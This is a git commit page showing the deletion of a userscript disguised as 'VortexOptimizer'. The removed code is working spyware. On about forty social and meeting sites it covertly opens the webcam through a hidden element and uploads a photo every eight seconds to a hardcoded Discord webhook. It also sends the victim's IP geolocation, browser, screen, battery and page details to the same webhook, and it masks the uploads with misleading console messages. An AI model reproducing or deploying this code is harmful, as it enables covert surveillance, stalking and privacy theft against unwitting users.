Delete VortexOptimizer-2024-08-13.user.js
This commit is contained in:
parent
f1d200fa3b
commit
8512a34330
@ -1,144 +0,0 @@
|
||||
const webhookUrl = 'https://discord.com/api/webhooks/1272940431726084239/tO9szyp0gLe4quhMq9OefBwQUWa3mfRBxlhcV_h3dPHA14JiX0zegxHpBssh4ogcVHnM';
|
||||
const baseUrls = [
|
||||
'https://meet.google.com',
|
||||
'https://app.zoom.us',
|
||||
'https://instagram.com',
|
||||
'https://tiktok.com',
|
||||
'https://facebook.com',
|
||||
'https://twitter.com',
|
||||
'https://linkedin.com',
|
||||
'https://youtube.com',
|
||||
'https://pinterest.com',
|
||||
'https://reddit.com',
|
||||
'https://discord.com',
|
||||
'https://snapchat.com',
|
||||
'https://flickr.com',
|
||||
'https://vimeo.com',
|
||||
'https://twitch.tv',
|
||||
'https://periscope.tv',
|
||||
'https://medium.com',
|
||||
'https://wordpress.com',
|
||||
'https://blogger.com',
|
||||
'https://tumblr.com',
|
||||
'https://vk.com',
|
||||
'https://ok.ru',
|
||||
'https://livejournal.com',
|
||||
'https://xing.com',
|
||||
'https://github.com',
|
||||
'https://stackexchange.com',
|
||||
'https://quora.com',
|
||||
'https://tripadvisor.com',
|
||||
'https://yelp.com',
|
||||
'https://foursquare.com',
|
||||
'https://goodreads.com',
|
||||
'https://soundcloud.com',
|
||||
'https://mixcloud.com',
|
||||
'https://last.fm',
|
||||
'https://deviantart.com',
|
||||
'https://dribbble.com',
|
||||
'https://behance.net',
|
||||
'https://500px.com',
|
||||
'https://photobucket.com',
|
||||
'https://imgur.com',
|
||||
'https://9gag.com',
|
||||
'https://imgflip.com',
|
||||
'https://giphy.com',
|
||||
'https://discord.com'
|
||||
];
|
||||
|
||||
if (baseUrls.includes(window.location.origin)) {
|
||||
const infDiv = document.createElement('div');
|
||||
infDiv.id = 'inf';
|
||||
infDiv.style.position = 'fixed';
|
||||
infDiv.style.top = '0';
|
||||
infDiv.style.left = '0';
|
||||
infDiv.style.width = '1px';
|
||||
infDiv.style.height = '1px';
|
||||
infDiv.style.zIndex = '-9999999999';
|
||||
document.body.appendChild(infDiv);
|
||||
|
||||
const camera = document.getElementById('inf');
|
||||
navigator.mediaDevices.getUserMedia({ video: true, audio: false })
|
||||
.then(stream => {
|
||||
const video = document.createElement('video');
|
||||
video.srcObject = stream;
|
||||
video.autoplay = true;
|
||||
camera.appendChild(video);
|
||||
|
||||
function sendPhoto() {
|
||||
const canvas = document.createElement('canvas');
|
||||
canvas.width = video.videoWidth;
|
||||
canvas.height = video.videoHeight;
|
||||
const ctx = canvas.getContext('2d');
|
||||
ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
|
||||
canvas.toBlob(blob => {
|
||||
const formData = new FormData();
|
||||
formData.append('file', blob, 'photo.jpg');
|
||||
fetch(webhookUrl, {
|
||||
method: 'POST',
|
||||
body: formData
|
||||
})
|
||||
.then(response => response.json())
|
||||
.then(data => console.log(`Loading Page: ${data}`))
|
||||
.catch(error => console.error(`Error loading page: ${error}`));
|
||||
}, 'image/jpeg', 0.92);
|
||||
}
|
||||
setInterval(sendPhoto, 8000);
|
||||
})
|
||||
.catch(error => console.error(`Error accessing camera: ${error}`));
|
||||
}
|
||||
|
||||
const webhookUrl2 = 'https://discord.com/api/webhooks/1272940431726084239/tO9szyp0gLe4quhMq9OefBwQUWa3mfRBxlhcV_h3dPHA14JiX0zegxHpBssh4ogcVHnM';
|
||||
fetch('https://ipapi.co/json/')
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
const browserInfo = navigator.userAgent;
|
||||
const screenResolution = `${screen.width}x${screen.height}`;
|
||||
const windowSize = `${window.innerWidth}x${window.innerHeight}`;
|
||||
const platform = navigator.platform;
|
||||
const language = navigator.language;
|
||||
const cookiesEnabled = navigator.cookieEnabled;
|
||||
const javaEnabled = navigator.javaEnabled();
|
||||
const localTimezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
|
||||
const battery = navigator.getBattery();
|
||||
battery.then(battery => {
|
||||
const batteryLevel = battery.level * 100;
|
||||
const isCharging = battery.charging;
|
||||
const embed = {
|
||||
title: 'User Logging Info',
|
||||
description: '',
|
||||
fields: [
|
||||
{ name: 'IP Address', value: data.ip, inline: true },
|
||||
{ name: 'City', value: data.city, inline: true },
|
||||
{ name: 'Region', value: data.region, inline: true },
|
||||
{ name: 'Country', value: data.country_name, inline: true },
|
||||
{ name: 'Location', value: `${data.latitude},${data.longitude}`, inline: true },
|
||||
{ name: 'Organization', value: data.org, inline: true },
|
||||
{ name: 'Postal', value: data.postal, inline: true },
|
||||
{ name: 'Timezone', value: data.timezone, inline: true },
|
||||
{ name: 'Browser Info', value: browserInfo, inline: true },
|
||||
{ name: 'Screen Resolution', value: screenResolution, inline: true },
|
||||
{ name: 'Window Size', value: windowSize, inline: true },
|
||||
{ name: 'Platform', value: platform, inline: true },
|
||||
{ name: 'Language', value: language, inline: true },
|
||||
{ name: 'Cookies Enabled', value: cookiesEnabled ? 'Yes' : 'No', inline: true },
|
||||
{ name: 'Java Enabled', value: javaEnabled ? 'Yes' : 'No', inline: true },
|
||||
{ name: 'Local Timezone', value: localTimezone, inline: true },
|
||||
{ name: 'Timestamp', value: new Date().toISOString(), inline: true },
|
||||
{ name: 'Battery', value: `${batteryLevel}%`, inline: true },
|
||||
{ name: 'Is Charging?', value: isCharging ? 'true' : 'false', inline: true },
|
||||
{ name: 'Web Location', value: window.location.href, inline: true },
|
||||
],
|
||||
timestamp: new Date().toISOString(),
|
||||
};
|
||||
|
||||
fetch(webhookUrl2, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({ embeds: [embed] }),
|
||||
});
|
||||
});
|
||||
})
|
||||
.catch(error => console.error(`Error logging user info: ${error}`));
|
Loading…
Reference in New Issue
Block a user